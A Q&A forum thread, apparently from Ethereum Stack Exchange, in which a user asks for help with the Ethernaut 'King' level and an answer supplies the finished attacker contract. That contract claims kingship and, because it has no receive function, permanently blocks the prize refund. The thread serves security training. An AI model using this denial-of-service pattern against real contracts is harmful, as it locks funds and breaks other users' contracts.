1

I am playing the openzeppelin Ethernaut challenges. The king challenge, requires to become king and not let the other contract reclaim kingship:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {console} from 'forge-std/Script.sol';

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

My idea to solve it is having a contract claim ownership and not have a receive function so the reclaiming will fail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {console} from 'forge-std/Script.sol';

contract Ursurpur {
    constructor() payable {
     }

     function send_ransom(address _king) public payable {

        (bool success, bytes memory err) = payable(_king).call{value: address(this).balance}("");
        console.log(string(err));  // returns ""
        require(success, "Transfer failed...why?.");
     }

}

The problem is that when the king contract tries to send back the funds to the previous king with payable(king).transfer(msg.value); the function reverts. If I modify the king receive function to:

- payable(king).transfer(msg.value);
+ (bool success, bytes memory err) = payable(king).call{value: msg.value}("");

The process works.

I tried having the Ursurpur contract transfer funds via transfer but that reverts with OutOfGas. I have tried this in Remix and in Foundry. I can transfer funds to the king contract via my wallet but not via the contract.

1

1 Answer 1

0

When you're calling the send_ransom() function of Ursurpur contract by passing the address of the King contract, then this line is executed:

(bool success, bytes memory err) = payable(_king).call{value: address(this).balance}("");

Which is basically transferring the balance of the Ursurpur contract plus the value that you attach while calling the send_ransom() function. As, the balance is 0, so only the value is being transferred.

As, you've mentioned that you want to transfer the funds to the previous king (i.e., the King contract). But, when the send_ransom() function is executed by passing the address of the King contract as param, the corresponding receive() function is triggered, which is checking for this OR condition:

require(msg.value >= prize || msg.sender == owner);

So, in order to proceed with the execution, we need to fulfil either of these conditions.

As, the receive() function is being triggered via the send_ransom() function of the Ursurpur contract, so the msg.sender is the address of the Ursurpur contract (i.e., not the owner/deployer of the King contract). So, we can never fulfil the second condition(i.e., msg.sender == owner), when triggering it via the contract.

But, we can fulfil the first condition (i.e., msg.value >= prize), by attaching any amount of Wei/Eth (as value while calling the send_ransom() function) greater than or equal to the value of prize variable of the King contract.

So, if we fulfil that condition, the next line that is executed is:

payable(king).transfer(msg.value);

Here, when we're executing this for the first time, the king variable is holding the account/wallet address of the deployer. So, if you've called the send_ransom() using the same account, then whatever value you've attached to it is getting transferred back to the same account (resulting in almost no change in the balance of the account, except the gas fees).

But, from the second time onwards, the transaction will revert because the king variable will be holding the address of the Ursurpur contract, (i.e., being assigned using king = msg.sender;), and the Ursurpur contract is not having any receive() function.

Since, you're expecting the value to be transferred to the King contract, then you can simply remove that line from the receive() function of the King contract:

p̶a̶y̶a̶b̶l̶e̶(̶k̶i̶n̶g̶)̶.t̶r̶a̶n̶s̶f̶e̶r̶(̶m̶s̶g̶.v̶a̶l̶u̶e̶)̶;̶

P.S., if you're using the .call one, you've to remove that too:

(̶b̶o̶o̶l̶ s̶u̶c̶c̶e̶s̶s̶, b̶y̶t̶e̶s̶ m̶e̶m̶o̶r̶y̶ e̶r̶r̶)̶ =̶ p̶a̶y̶a̶b̶l̶e̶(̶k̶i̶n̶g̶)̶.c̶a̶l̶l̶{̶v̶a̶l̶u̶e̶:̶ m̶s̶g̶.v̶a̶l̶u̶e̶}̶(̶"")̶;̶ 

As, the funds are already getting transferred to the King contract via this line of send_ransom() function:

(bool success, bytes memory err) = payable(_king).call{value: address(this).balance}("");

Also, if you're willing to utilise the balance of the Ursurpur contract in this (i.e., by transferring funds explicitly to the Ursurpur contract, so that the same can be added to the value while calling the function), then you might need to add the receive() function in this contract as well.

Otherwise, you can just replace the address(this).balance with msg.value, i.e.,:

(bool success, bytes memory err) = payable(_king).call{value: msg.value}("");

As per the Ethernaut challenge (i.e., when we can't alter the King contract, instead we've to avoid proclamation of the kingship), the correct code for the Ursurpur contract would be:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Ursurpur {

    function send_ransom(address _king) public payable {
        (bool success, bytes memory err) = payable(_king).call{
            value: msg.value
        }("");
        require(success, "Transfer failed...why?.");
    }
}

When you use the King contract address as a param to call the send_ransom() function and attach any value greater than prize. After that, when you submit the instance, the level will be cleared:

enter image description here

4
  • Thanks for the comments, a few clarifications. I cannot modify the King contract it is deployed already. I modified it in a test environment to see if it would pass changing the transfer functionality, which it did (in the test environment) When I create the Ursurpur contract I send it enough ethers to cover the prize and more. The king contract is deployed with an independent owner and the original king address is independent of mine. In Summary: I can't change the King contract, if I could and I change the transfer to a call, it works in test environment. Ursurpur has enough Eths. Mar 27 at 19:43
  • Okay, @CesarGarcia. Few questions: 1. As, the King contract is not created/deployed by you. So, can you please confirm that its code is the exact same as what you’ve mentioned in the question? 2. And, the goal is to transfer the funds to the King contract using send_ransom() function? 3. And, you’ve full control over the Ursurpur contract. Right? Mar 27 at 22:44
  • Yes, then the creator of the King contract tries to claim being King but since Ursurpur does not have a receive function he can't and I win. See rules here ethernaut.openzeppelin.com/level/9 Mar 28 at 11:21
  • Added the Ethernaut challenge scenario and the corresponding code for Ursurpur contract. Please check. Mar 28 at 13:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.